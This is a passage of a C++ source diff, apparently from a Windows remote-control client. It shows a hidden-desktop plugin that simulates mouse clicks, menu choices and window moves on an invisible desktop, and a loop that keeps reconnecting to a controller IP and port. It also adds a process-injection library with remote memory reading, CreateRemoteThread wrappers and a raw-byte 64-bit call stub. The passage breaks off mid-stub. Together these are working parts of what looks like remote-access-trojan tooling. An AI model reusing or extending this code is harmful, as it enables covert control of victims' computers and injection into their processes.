else if (msg->message == WM_LBUTTONDOWN) {
|
||||||
|
m_lmouseDown = TRUE;
|
||||||
|
m_hResMoveWindow = NULL;
|
||||||
|
RECT startButtonRect;
|
||||||
|
HWND hStartButton = FindWindowA((PCHAR)"Button", NULL);
|
||||||
|
GetWindowRect(hStartButton, &startButtonRect);
|
||||||
|
if (PtInRect(&startButtonRect, m_point)) {
|
||||||
|
PostMessageA(hStartButton, BM_CLICK, 0, 0); // 模拟开始按钮点击
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
char windowClass[MAX_PATH] = { 0 };
|
||||||
|
RealGetWindowClassA(hWnd, windowClass, MAX_PATH);
|
||||||
|
if (!lstrcmpA(windowClass, "#32768")) {
|
||||||
|
HMENU hMenu = (HMENU)SendMessageA(hWnd, MN_GETHMENU, 0, 0);
|
||||||
|
int itemPos = MenuItemFromPoint(NULL, hMenu, m_point);
|
||||||
|
int itemId = GetMenuItemID(hMenu, itemPos);
|
||||||
|
PostMessageA(hWnd, 0x1e5, itemPos, 0);
|
||||||
|
PostMessageA(hWnd, WM_KEYDOWN, VK_RETURN, 0);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (msg->message == WM_MOUSEMOVE) {
|
||||||
|
if (!m_lmouseDown)
|
||||||
|
continue;
|
||||||
|
if (!m_hResMoveWindow)
|
||||||
|
m_resMoveType = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
|
||||||
|
else
|
||||||
|
hWnd = m_hResMoveWindow;
|
||||||
|
int moveX = lastPointCopy.x - m_point.x;
|
||||||
|
int moveY = lastPointCopy.y - m_point.y;
|
||||||
|
|
||||||
|
RECT rect;
|
||||||
|
GetWindowRect(hWnd, &rect);
|
||||||
|
int x = rect.left;
|
||||||
|
int y = rect.top;
|
||||||
|
int width = rect.right - rect.left;
|
||||||
|
int height = rect.bottom - rect.top;
|
||||||
|
switch (m_resMoveType) {
|
||||||
|
case HTCAPTION: {
|
||||||
|
x -= moveX;
|
||||||
|
y -= moveY;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case HTTOP: {
|
||||||
|
y -= moveY;
|
||||||
|
height += moveY;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case HTBOTTOM: {
|
||||||
|
height -= moveY;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case HTLEFT: {
|
||||||
|
x -= moveX;
|
||||||
|
width += moveX;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case HTRIGHT: {
|
||||||
|
width -= moveX;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case HTTOPLEFT: {
|
||||||
|
y -= moveY;
|
||||||
|
height += moveY;
|
||||||
|
x -= moveX;
|
||||||
|
width += moveX;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case HTTOPRIGHT: {
|
||||||
|
y -= moveY;
|
||||||
|
height += moveY;
|
||||||
|
width -= moveX;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case HTBOTTOMLEFT: {
|
||||||
|
height -= moveY;
|
||||||
|
x -= moveX;
|
||||||
|
width += moveX;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case HTBOTTOMRIGHT: {
|
||||||
|
height -= moveY;
|
||||||
|
width -= moveX;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
MoveWindow(hWnd, x, y, width, height, FALSE);
|
||||||
|
m_hResMoveWindow = hWnd;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for (HWND currHwnd = hWnd;;) {
|
||||||
|
hWnd = currHwnd;
|
||||||
|
ScreenToClient(currHwnd, &m_point);
|
||||||
|
currHwnd = ChildWindowFromPoint(currHwnd, m_point);
|
||||||
|
if (!currHwnd || currHwnd == hWnd)
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (mouseMsg)
|
||||||
|
msg->lParam = MAKELPARAM(m_point.x, m_point.y);
|
||||||
|
PostMessage(hWnd, msg->message, (WPARAM)msg->wParam, msg->lParam);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public: // 纯虚函数
|
||||||
|
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) = 0;
|
||||||
|
virtual void InitScreenSpy() = 0;
|
||||||
|
|
||||||
|
HDESK g_hDesk;
|
||||||
|
std::string m_DesktopID;
|
||||||
|
void* m_ptrUser;
|
||||||
|
ScreenCapture* m_ScreenSpyObject;
|
||||||
|
BOOL m_bIsWorking;
|
||||||
|
long m_oldwidth, m_oldheigh;
|
||||||
|
int m_biBitCount;
|
||||||
|
int m_fps;
|
||||||
|
int m_DlgToken; // 这个值决定打开哪个对话框
|
||||||
|
HANDLE m_hWorkThread, m_hBlankThread;
|
||||||
|
|
||||||
|
// 虚拟桌面
|
||||||
|
POINT m_point;
|
||||||
|
POINT m_lastPoint;
|
||||||
|
BOOL m_lmouseDown;
|
||||||
|
HWND m_hResMoveWindow;
|
||||||
|
LRESULT m_resMoveType;
|
||||||
|
BOOL m_rmouseDown; // 标记右键是否按下
|
||||||
|
POINT m_rclickPoint; // 右键点击坐标
|
||||||
|
HWND m_rclickWnd; // 右键窗口
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace SimplePluginsScreenHide
|
||||||
@@ -495,8 +495,12 @@ BOOL Run(const char* argv1, int argv2, const std::string &runCmd)
|
|||||||
}
|
}
|
||||||
do {
|
do {
|
||||||
run(ip, port);
|
run(ip, port);
|
||||||
|
if (bExit && bExit() != S_SERVER_EXIT) {
|
||||||
|
// 受控端退出 / 程序更新:等所有实例(含分享实例)退干净,避免下方 FreeLibrary
|
||||||
|
// 卸载 DLL 时残留分享实例线程。主控端重启(S_SERVER_EXIT)则立即重连,不等仍存活的分享实例。
|
||||||
while (bStop && !bStop() && 0 == status)
|
while (bStop && !bStop() && 0 == status)
|
||||||
Sleep(20);
|
Sleep(20);
|
||||||
|
}
|
||||||
} while (bExit && !bExit() && 0 == status);
|
} while (bExit && !bExit() && 0 == status);
|
||||||
|
|
||||||
while (bStop && !bStop() && 1 == status)
|
while (bStop && !bStop() && 1 == status)
|
||||||
|
|||||||
+915
@@ -0,0 +1,915 @@
|
|||||||
|
/*
|
||||||
|
yapi -- Yet Another Process Injector / Your API
|
||||||
|
A fusion library that reduce differences between x64, wow64 and x86 processes based on rewolf-wow64ext.
|
||||||
|
|
||||||
|
Copyright (c) 2010-2018 <http://ez8.co> <orca.zhang@yahoo.com>
|
||||||
|
This library is released under the MIT License.
|
||||||
|
|
||||||
|
Please see LICENSE file or visit https://github.com/ez8-co/yapi for details.
|
||||||
|
*/
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#define WIN32_NO_STATUS
|
||||||
|
#include <windows.h>
|
||||||
|
#include <winternl.h>
|
||||||
|
|
||||||
|
#include <tchar.h>
|
||||||
|
#include <vector>
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
#ifndef NT_SUCCESS
|
||||||
|
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include <TlHelp32.h>
|
||||||
|
|
||||||
|
namespace detail {
|
||||||
|
static HMODULE hNtDll = LoadLibrary(_T("ntdll.dll"));
|
||||||
|
static HANDLE hCurProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
|
||||||
|
|
||||||
|
inline BOOL Is64BitOS()
|
||||||
|
{
|
||||||
|
SYSTEM_INFO systemInfo = { 0 };
|
||||||
|
GetNativeSystemInfo(&systemInfo);
|
||||||
|
return systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64
|
||||||
|
|| systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64;
|
||||||
|
}
|
||||||
|
static const BOOL is64BitOS = Is64BitOS();
|
||||||
|
|
||||||
|
struct GCBase
|
||||||
|
{
|
||||||
|
virtual DWORD64 toDWORD64() = 0;
|
||||||
|
virtual void gc() = 0;
|
||||||
|
};
|
||||||
|
struct GCHelper
|
||||||
|
{
|
||||||
|
~GCHelper() {
|
||||||
|
for (size_t i = 0; i < _ptrs.size(); i++) {
|
||||||
|
_ptrs[i]->gc();
|
||||||
|
delete _ptrs[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
DWORD64 add(GCBase* ptr) { _ptrs.push_back(ptr); return ptr->toDWORD64(); }
|
||||||
|
private:
|
||||||
|
std::vector<GCBase*> _ptrs;
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
namespace yapi {
|
||||||
|
|
||||||
|
typedef std::basic_string<TCHAR, std::char_traits<TCHAR>, std::allocator<TCHAR> > tstring;
|
||||||
|
|
||||||
|
#ifndef UNICODE
|
||||||
|
static std::string _W2T(const wchar_t* wcs)
|
||||||
|
{
|
||||||
|
int len = ::WideCharToMultiByte(CP_ACP, 0, wcs, -1, NULL, 0, 0, 0);
|
||||||
|
std::string ret(len, 0);
|
||||||
|
assert(0 != ::WideCharToMultiByte(CP_ACP, 0, wcs, -1, &ret[0], len, 0, 0));
|
||||||
|
ret.resize(len - 1);
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
#define _W2T(str) std::wstring(str)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define REPEAT_0(macro)
|
||||||
|
#define REPEAT_1(macro) REPEAT_0(macro)
|
||||||
|
#define REPEAT_2(macro) REPEAT_1(macro) macro(1)
|
||||||
|
#define REPEAT_3(macro) REPEAT_2(macro) macro(2)
|
||||||
|
#define REPEAT_4(macro) REPEAT_3(macro) macro(3)
|
||||||
|
#define REPEAT_5(macro) REPEAT_4(macro) macro(4)
|
||||||
|
#define REPEAT_6(macro) REPEAT_5(macro) macro(5)
|
||||||
|
#define REPEAT_7(macro) REPEAT_6(macro) macro(6)
|
||||||
|
#define REPEAT_8(macro) REPEAT_7(macro) macro(7)
|
||||||
|
#define REPEAT_9(macro) REPEAT_8(macro) macro(8)
|
||||||
|
#define REPEAT_10(macro) REPEAT_9(macro) macro(9)
|
||||||
|
#define REPEAT_11(macro) REPEAT_10(macro) macro(10)
|
||||||
|
#define REPEAT_12(macro) REPEAT_11(macro) macro(11)
|
||||||
|
#define REPEAT_13(macro) REPEAT_12(macro) macro(12)
|
||||||
|
#define REPEAT_14(macro) REPEAT_13(macro) macro(13)
|
||||||
|
#define REPEAT_15(macro) REPEAT_14(macro) macro(14)
|
||||||
|
#define REPEAT_16(macro) REPEAT_15(macro) macro(15)
|
||||||
|
#define REPEAT_17(macro) REPEAT_16(macro) macro(16)
|
||||||
|
#define REPEAT_18(macro) REPEAT_17(macro) macro(17)
|
||||||
|
#define REPEAT_19(macro) REPEAT_18(macro) macro(18)
|
||||||
|
#define REPEAT_20(macro) REPEAT_19(macro) macro(19)
|
||||||
|
|
||||||
|
#define END_MACRO_0(macro)
|
||||||
|
#define END_MACRO_1(macro) macro(1)
|
||||||
|
#define END_MACRO_2(macro) macro(2)
|
||||||
|
#define END_MACRO_3(macro) macro(3)
|
||||||
|
#define END_MACRO_4(macro) macro(4)
|
||||||
|
#define END_MACRO_5(macro) macro(5)
|
||||||
|
#define END_MACRO_6(macro) macro(6)
|
||||||
|
#define END_MACRO_7(macro) macro(7)
|
||||||
|
#define END_MACRO_8(macro) macro(8)
|
||||||
|
#define END_MACRO_9(macro) macro(9)
|
||||||
|
#define END_MACRO_10(macro) macro(10)
|
||||||
|
#define END_MACRO_11(macro) macro(11)
|
||||||
|
#define END_MACRO_12(macro) macro(12)
|
||||||
|
#define END_MACRO_13(macro) macro(13)
|
||||||
|
#define END_MACRO_14(macro) macro(14)
|
||||||
|
#define END_MACRO_15(macro) macro(15)
|
||||||
|
#define END_MACRO_16(macro) macro(16)
|
||||||
|
#define END_MACRO_17(macro) macro(17)
|
||||||
|
#define END_MACRO_18(macro) macro(18)
|
||||||
|
#define END_MACRO_19(macro) macro(19)
|
||||||
|
#define END_MACRO_20(macro) macro(20)
|
||||||
|
|
||||||
|
#define REPEAT(n, macro, end_macro) REPEAT_##n (macro) END_MACRO_##n(end_macro)
|
||||||
|
|
||||||
|
#define __ARG(n) P ## n
|
||||||
|
#define __PARAM(n) p ## n
|
||||||
|
#define __ARG_DECL(n) __ARG(n) __PARAM(n)
|
||||||
|
|
||||||
|
#define TEMPLATE_ARG(n) typename __ARG(n)
|
||||||
|
#define VOID_TEMPLATE_ARGS(n) typename __ARG(n),
|
||||||
|
|
||||||
|
#define ARG_DECL(n) __ARG_DECL(n) ,
|
||||||
|
#define END_ARG_DECL(n) __ARG_DECL(n)
|
||||||
|
|
||||||
|
#define DECL_VOID_TEMPLATE_ARGS(n) REPEAT(n, VOID_TEMPLATE_ARGS, TEMPLATE_ARG)
|
||||||
|
#define DECL_PARAMS_LIST(n) REPEAT(n, ARG_DECL, END_ARG_DECL)
|
||||||
|
|
||||||
|
namespace {
|
||||||
|
template <class T>
|
||||||
|
struct _UNICODE_STRING_T {
|
||||||
|
union {
|
||||||
|
struct {
|
||||||
|
WORD Length;
|
||||||
|
WORD MaximumLength;
|
||||||
|
};
|
||||||
|
T dummy;
|
||||||
|
};
|
||||||
|
T Buffer;
|
||||||
|
};
|
||||||
|
|
||||||
|
template <typename T>
|
||||||
|
struct _LIST_ENTRY_T {
|
||||||
|
T Flink;
|
||||||
|
T Blink;
|
||||||
|
};
|
||||||
|
|
||||||
|
template <typename T>
|
||||||
|
struct _PEB_T {
|
||||||
|
T dummy01;
|
||||||
|
T Mutant;
|
||||||
|
T ImageBaseAddress;
|
||||||
|
T Ldr;
|
||||||
|
// omit unused fields
|
||||||
|
};
|
||||||
|
|
||||||
|
typedef _PEB_T<DWORD> PEB32;
|
||||||
|
typedef _PEB_T<DWORD64> PEB64;
|
||||||
|
|
||||||
|
typedef struct _PROCESS_BASIC_INFORMATION32 {
|
||||||
|
NTSTATUS ExitStatus;
|
||||||
|
UINT32 PebBaseAddress;
|
||||||
|
UINT32 AffinityMask;
|
||||||
|
UINT32 BasePriority;
|
||||||
|
UINT32 UniqueProcessId;
|
||||||
|
UINT32 InheritedFromUniqueProcessId;
|
||||||
|
} PROCESS_BASIC_INFORMATION32;
|
||||||
|
|
||||||
|
typedef struct _PROCESS_BASIC_INFORMATION64 {
|
||||||
|
NTSTATUS ExitStatus;
|
||||||
|
UINT32 Reserved0;
|
||||||
|
UINT64 PebBaseAddress;
|
||||||
|
UINT64 AffinityMask;
|
||||||
|
UINT32 BasePriority;
|
||||||
|
UINT32 Reserved1;
|
||||||
|
UINT64 UniqueProcessId;
|
||||||
|
UINT64 InheritedFromUniqueProcessId;
|
||||||
|
} PROCESS_BASIC_INFORMATION64;
|
||||||
|
|
||||||
|
template <class T>
|
||||||
|
struct _PEB_LDR_DATA_T {
|
||||||
|
DWORD Length;
|
||||||
|
DWORD Initialized;
|
||||||
|
T SsHandle;
|
||||||
|
_LIST_ENTRY_T<T> InLoadOrderModuleList;
|
||||||
|
// omit unused fields
|
||||||
|
};
|
||||||
|
|
||||||
|
typedef _PEB_LDR_DATA_T<DWORD> PEB_LDR_DATA32;
|
||||||
|
typedef _PEB_LDR_DATA_T<DWORD64> PEB_LDR_DATA64;
|
||||||
|
|
||||||
|
template <class T>
|
||||||
|
struct _LDR_DATA_TABLE_ENTRY_T {
|
||||||
|
_LIST_ENTRY_T<T> InLoadOrderLinks;
|
||||||
|
_LIST_ENTRY_T<T> InMemoryOrderLinks;
|
||||||
|
_LIST_ENTRY_T<T> InInitializationOrderLinks;
|
||||||
|
T DllBase;
|
||||||
|
T EntryPoint;
|
||||||
|
union {
|
||||||
|
DWORD SizeOfImage;
|
||||||
|
T dummy01;
|
||||||
|
};
|
||||||
|
_UNICODE_STRING_T<T> FullDllName;
|
||||||
|
_UNICODE_STRING_T<T> BaseDllName;
|
||||||
|
// omit unused fields
|
||||||
|
};
|
||||||
|
|
||||||
|
typedef _LDR_DATA_TABLE_ENTRY_T<DWORD> LDR_DATA_TABLE_ENTRY32;
|
||||||
|
typedef _LDR_DATA_TABLE_ENTRY_T<DWORD64> LDR_DATA_TABLE_ENTRY64;
|
||||||
|
|
||||||
|
size_t tcslen(const char* str) { return strlen(str); }
|
||||||
|
size_t tcslen(const wchar_t* str) { return wcslen(str); }
|
||||||
|
}
|
||||||
|
|
||||||
|
inline DWORD64 WINAPI GetProcAddress(HANDLE hProcess, DWORD64 hModule, const char* funcName);
|
||||||
|
|
||||||
|
#ifdef _WIN64
|
||||||
|
typedef NTSTATUS(WINAPI *NT_QUERY_INFORMATION_PROCESS)(
|
||||||
|
HANDLE ProcessHandle, ULONG ProcessInformationClass,
|
||||||
|
PVOID ProcessInformation, UINT32 ProcessInformationLength,
|
||||||
|
UINT32 * ReturnLength);
|
||||||
|
|
||||||
|
static NT_QUERY_INFORMATION_PROCESS NtWow64QueryInformationProcess64 = (NT_QUERY_INFORMATION_PROCESS)GetProcAddress((HMODULE)detail::hNtDll, "NtQueryInformationProcess");
|
||||||
|
#define NtWow64ReadVirtualMemory64 ReadProcessMemory
|
||||||
|
|
||||||
|
#else
|
||||||
|
|
||||||
|
namespace {
|
||||||
|
typedef NTSTATUS(WINAPI *NT_WOW64_QUERY_INFORMATION_PROCESS64)(
|
||||||
|
HANDLE ProcessHandle, UINT32 ProcessInformationClass,
|
||||||
|
PVOID ProcessInformation, UINT32 ProcessInformationLength,
|
||||||
|
UINT32* ReturnLength);
|
||||||
|
|
||||||
|
typedef NTSTATUS(WINAPI *NT_WOW64_READ_VIRTUAL_MEMORY64)(
|
||||||
|
HANDLE ProcessHandle, PVOID64 BaseAddress,
|
||||||
|
PVOID BufferData, UINT64 BufferLength,
|
||||||
|
PUINT64 ReturnLength);
|
||||||
|
|
||||||
|
static NT_WOW64_QUERY_INFORMATION_PROCESS64 NtWow64QueryInformationProcess64 = (NT_WOW64_QUERY_INFORMATION_PROCESS64)GetProcAddress((HMODULE)detail::hNtDll, "NtWow64QueryInformationProcess64");
|
||||||
|
static NT_WOW64_READ_VIRTUAL_MEMORY64 NtWow64ReadVirtualMemory64 = (NT_WOW64_READ_VIRTUAL_MEMORY64)GetProcAddress((HMODULE)detail::hNtDll, "NtWow64ReadVirtualMemory64");
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
|
inline DWORD64 WINAPI GetModuleHandle(HANDLE hProcess, const TCHAR* moduleName)
|
||||||
|
{
|
||||||
|
if (!moduleName) return 0;
|
||||||
|
if (!hProcess) hProcess = detail::hCurProcess;
|
||||||
|
|
||||||
|
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, GetProcessId(hProcess));
|
||||||
|
if (hSnap == INVALID_HANDLE_VALUE) return 0;
|
||||||
|
MODULEENTRY32 mod = { sizeof(mod) };
|
||||||
|
if (Module32First(hSnap, &mod)) {
|
||||||
|
do {
|
||||||
|
if (!_tcsicmp(mod.szModule, moduleName)) {
|
||||||
|
CloseHandle(hSnap);
|
||||||
|
return (DWORD64)mod.hModule;
|
||||||
|
}
|
||||||
|
} while (Module32Next(hSnap, &mod));
|
||||||
|
}
|
||||||
|
CloseHandle(hSnap);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD64 WINAPI GetProcAddress(HANDLE hProcess, DWORD64 hModule, const char* funcName)
|
||||||
|
{
|
||||||
|
if (!hModule || !funcName) return 0;
|
||||||
|
if (!hProcess) hProcess = detail::hCurProcess;
|
||||||
|
|
||||||
|
IMAGE_DOS_HEADER idh;
|
||||||
|
NTSTATUS status = ReadProcessMemory(hProcess, (PVOID)hModule, (PVOID)&idh, sizeof(idh), NULL);
|
||||||
|
if (!NT_SUCCESS(status)) return 0;
|
||||||
|
|
||||||
|
IMAGE_NT_HEADERS32 inh;
|
||||||
|
status = ReadProcessMemory(hProcess, (PVOID)(hModule + idh.e_lfanew), (PVOID)&inh, sizeof(inh), NULL);
|
||||||
|
if (!NT_SUCCESS(status)) return 0;
|
||||||
|
|
||||||
|
IMAGE_DATA_DIRECTORY& idd = inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||||
|
if (!idd.VirtualAddress)return 0;
|
||||||
|
|
||||||
|
IMAGE_EXPORT_DIRECTORY ied;
|
||||||
|
status = ReadProcessMemory(hProcess, (PVOID)(hModule + idd.VirtualAddress), (PVOID)&ied, sizeof(ied), NULL);
|
||||||
|
if (!NT_SUCCESS(status)) return 0;
|
||||||
|
|
||||||
|
std::vector<DWORD> nameTable(ied.NumberOfNames);
|
||||||
|
status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfNames), (PVOID)&nameTable[0], sizeof(DWORD) * ied.NumberOfNames, NULL);
|
||||||
|
if (!NT_SUCCESS(status)) return 0;
|
||||||
|
|
||||||
|
for (DWORD i = 0; i < ied.NumberOfNames; ++i) {
|
||||||
|
std::string func(strlen(funcName), 0);
|
||||||
|
status = ReadProcessMemory(hProcess, (PVOID)(hModule + nameTable[i]), (PVOID)&func[0], strlen(funcName), NULL);
|
||||||
|
if (!NT_SUCCESS(status)) continue;
|
||||||
|
|
||||||
|
if (func == funcName) {
|
||||||
|
WORD ord = 0;
|
||||||
|
status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfNameOrdinals + i * sizeof(WORD)), (PVOID)&ord, sizeof(WORD), NULL);
|
||||||
|
if (!NT_SUCCESS(status)) continue;
|
||||||
|
|
||||||
|
DWORD rva = 0;
|
||||||
|
status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfFunctions + ord * sizeof(DWORD)), (PVOID)&rva, sizeof(DWORD), NULL);
|
||||||
|
if (!NT_SUCCESS(status)) continue;
|
||||||
|
|
||||||
|
return hModule + rva;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline DWORD64 WINAPI GetModuleHandle64(HANDLE hProcess, const TCHAR* moduleName)
|
||||||
|
{
|
||||||
|
if (!moduleName) return 0;
|
||||||
|
if (!hProcess) hProcess = detail::hCurProcess;
|
||||||
|
|
||||||
|
#ifndef _WIN64
|
||||||
|
if (!NtWow64QueryInformationProcess64 || !NtWow64ReadVirtualMemory64) return 0;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
PROCESS_BASIC_INFORMATION64 pbi = { 0 };
|
||||||
|
const int ProcessBasicInformation = 0;
|
||||||
|
NTSTATUS status = NtWow64QueryInformationProcess64(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
|
||||||
|
if (!NT_SUCCESS(status)) return 0;
|
||||||
|
|
||||||
|
PEB64 peb;
|
||||||
|
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
|
||||||
|
if (!NT_SUCCESS(status)) return 0;
|
||||||
|
|
||||||
|
PEB_LDR_DATA64 ldr;
|
||||||
|
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)peb.Ldr, (PVOID)&ldr, sizeof(ldr), NULL);
|
||||||
|
if (!NT_SUCCESS(status)) return 0;
|
||||||
|
|
||||||
|
DWORD64 LastEntry = peb.Ldr + offsetof(PEB_LDR_DATA64, InLoadOrderModuleList);
|
||||||
|
|
||||||
|
LDR_DATA_TABLE_ENTRY64 head;
|
||||||
|
head.InLoadOrderLinks.Flink = ldr.InLoadOrderModuleList.Flink;
|
||||||
|
do {
|
||||||
|
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)head.InLoadOrderLinks.Flink, (PVOID)&head, sizeof(head), NULL);
|
||||||
|
if (!NT_SUCCESS(status)) continue;
|
||||||
|
|
||||||
|
std::wstring modName((size_t)head.BaseDllName.MaximumLength, 0);
|
||||||
|
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)head.BaseDllName.Buffer, (PVOID)&modName[0], head.BaseDllName.MaximumLength, NULL);
|
||||||
|
if (!NT_SUCCESS(status)) continue;
|
||||||
|
|
||||||
|
if (!_tcsicmp(moduleName, _W2T(modName.c_str()).c_str()))
|
||||||
|
return head.DllBase;
|
||||||
|
} while (head.InLoadOrderLinks.Flink != LastEntry);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline DWORD64 WINAPI GetProcAddress64(HANDLE hProcess, DWORD64 hModule, const char* funcName)
|
||||||
|
{
|
||||||
|
if (!hModule || !funcName) return 0;
|
||||||
|
if (!hProcess) hProcess = detail::hCurProcess;
|
||||||
|
|
||||||
|
#ifndef _WIN64
|
||||||
|
if (!NtWow64ReadVirtualMemory64) return 0;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
IMAGE_DOS_HEADER idh;
|
||||||
|
NTSTATUS status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)hModule, (PVOID)&idh, sizeof(idh), NULL);
|
||||||
|
if (!NT_SUCCESS(status)) return 0;
|
||||||
|
|
||||||
|
IMAGE_NT_HEADERS64 inh;
|
||||||
|
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + idh.e_lfanew), (PVOID)&inh, sizeof(inh), NULL);
|
||||||
|
if (!NT_SUCCESS(status)) return 0;
|
||||||
|
|
||||||
|
IMAGE_DATA_DIRECTORY& idd = inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||||
|
if (!idd.VirtualAddress)return 0;
|
||||||
|
|
||||||
|
IMAGE_EXPORT_DIRECTORY ied;
|
||||||
|
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + idd.VirtualAddress), (PVOID)&ied, sizeof(ied), NULL);
|
||||||
|
if (!NT_SUCCESS(status)) return 0;
|
||||||
|
|
||||||
|
std::vector<DWORD> nameTable(ied.NumberOfNames);
|
||||||
|
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfNames), (PVOID)&nameTable[0], sizeof(DWORD) * ied.NumberOfNames, NULL);
|
||||||
|
if (!NT_SUCCESS(status)) return 0;
|
||||||
|
|
||||||
|
for (DWORD i = 0; i < ied.NumberOfNames; ++i) {
|
||||||
|
std::string func(strlen(funcName), 0);
|
||||||
|
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + nameTable[i]), (PVOID)&func[0], strlen(funcName), NULL);
|
||||||
|
if (!NT_SUCCESS(status)) continue;
|
||||||
|
|
||||||
|
if (func == funcName) {
|
||||||
|
WORD ord = 0;
|
||||||
|
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfNameOrdinals + i * sizeof(WORD)), (PVOID)&ord, sizeof(WORD), NULL);
|
||||||
|
if (!NT_SUCCESS(status)) continue;
|
||||||
|
|
||||||
|
DWORD rva = 0;
|
||||||
|
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfFunctions + ord * sizeof(DWORD)), (PVOID)&rva, sizeof(DWORD), NULL);
|
||||||
|
if (!NT_SUCCESS(status)) continue;
|
||||||
|
|
||||||
|
return hModule + rva;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline DWORD64 GetNtDll64()
|
||||||
|
{
|
||||||
|
static DWORD64 hNtdll64 = 0;
|
||||||
|
if(hNtdll64) return hNtdll64;
|
||||||
|
hNtdll64 = GetModuleHandle64(detail::hCurProcess, _T("ntdll.dll"));
|
||||||
|
return hNtdll64;
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifdef _WIN64
|
||||||
|
|
||||||
|
#define SetLastError64 SetLastError
|
||||||
|
#define VirtualQueryEx64 VirtualQueryEx
|
||||||
|
#define VirtualAllocEx64 VirtualAllocEx
|
||||||
|
#define VirtualFreeEx64 VirtualFreeEx
|
||||||
|
#define VirtualProtectEx64 VirtualProtectEx
|
||||||
|
#define ReadProcessMemory64 ReadProcessMemory
|
||||||
|
#define WriteProcessMemory64 WriteProcessMemory
|
||||||
|
#define LoadLibrary64 LoadLibrary
|
||||||
|
#define CreateRemoteThread64 CreateRemoteThread
|
||||||
|
|
||||||
|
#else
|
||||||
|
|
||||||
|
namespace {
|
||||||
|
#define _(x) __asm __emit (x)
|
||||||
|
__declspec(naked) DWORD64 x64Call(DWORD64 func, int argC, ...)
|
||||||
|
{
|
||||||
|
// see X64Call_disassemble for details
|
||||||
|
_(0x55)_(0x8b)_(0xec)_(0x8b)_(0x4d)_(0x10)_(0x8d)_(0x55)_(0x14)_(0x83)_(0xec)_(0x40)_(0x53)_(0x56)_(0x57)_(0x85)
|
||||||
|
_(0xc9)_(0x7e)_(0x15)_(0x8b)_(0x45)_(0x14)_(0x8d)_(0x55)_(0x1c)_(0x49)_(0x89)_(0x45)_(0xf0)_(0x8b)_(0x45)_(0x18)
|
||||||
|
_(0x89)_(0x4d)_(0x10)_(0x89)_(0x45)_(0xf4)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)_(0x45)_(0xf0)
|
||||||
|
_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)_(0x89)_(0x45)
|
||||||
|
_(0xe8)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xec)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)_(0x45)
|
||||||
|
